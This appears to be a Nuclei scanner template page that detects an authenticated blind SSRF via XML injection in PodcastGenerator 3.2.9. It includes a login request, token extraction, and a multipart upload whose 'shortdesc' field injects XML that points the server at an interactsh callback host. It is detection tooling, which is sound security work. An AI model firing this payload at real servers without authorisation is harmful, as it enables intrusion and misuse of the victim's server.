PodcastGenerator 3.2.9 - Blind SSRF via XML Injection

ID: podcast-generator-ssrf

Severity: high

Author: ritikchaddha,MrHarshvardhan

Tags: podcastgenerator,ssrf,authenticated,intrusive

Description

This is a SSRF vulnerability via Xml injection found in PodcastGenerator 3.2.9.

YAML Source

id: podcast-generator-ssrf

info:
  name: PodcastGenerator 3.2.9 - Blind SSRF via XML Injection
  author: ritikchaddha,MrHarshvardhan
  severity: high
  description: |
    This is a SSRF vulnerability via Xml injection found in PodcastGenerator 3.2.9.
  reference:
    - https://www.exploit-db.com/exploits/51565
    - https://mirabbasagalarov.medium.com/podcastgenerator-3-2-9-blind-ssrf-via-xml-injection-3795804467df
    - https://github.com/PodcastGenerator/PodcastGenerator
  metadata:
    verified: true
    max-request: 3
  tags: podcastgenerator,ssrf,authenticated,intrusive
variables:
  string: "{{rand_text_alpha(7)}}"

http:
  - raw:
      - |
        POST /podcast/PodcastGenerator/admin/login.php?login=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /podcast/PodcastGenerator/admin/episodes_upload.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /podcast/PodcastGenerator/admin/episodes_upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1WfeHRSBn1aNkQQA

        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="file"; filename="{{string}}.jpg"
        Content-Type: image/jpeg

        {{rand_text_alpha(50)}}
        {{rand_text_alpha(50)}}

        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="title"

        {{string}}
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="shortdesc"

        test]]></shortdescPG><imgPG path="">http://{{interactsh-url}}</imgPG><shortdescPG><![CDATA[test
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="category[ ]"

        uncategorized
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="date"

        2023-10-30
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="time"

        12:26
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="episodecover"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="longdesc"


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="episodenum"


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="seasonnum"


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="itunesKeywords"


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="explicit"

        no
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="authorname"

        {{string}}
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="authoremail"

        {{string}}@{{string}}.com
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="customtags"


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="token"

        {{token}}
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA--

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body_2
        words:
          - "Main Information"
          - "Episode Cover:"
        condition: and

    extractors:
      - type: regex
        part: body_2
        name: token
        group: 1
        regex:
          - 'pe="hidden" name="token" value="([A-Za-z0-9]+)">'
        internal: true
# digest: 4a0a0047304502205a21364b03ba2e492aba95b201565bdc05a5a2a2ca948fb97c18ff1670039126022100d88f3868b94a2dfc1689a48693a2c78c4513613bb3df9605047fc0ceac7f52e0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/podcast-generator-ssrf.yaml"

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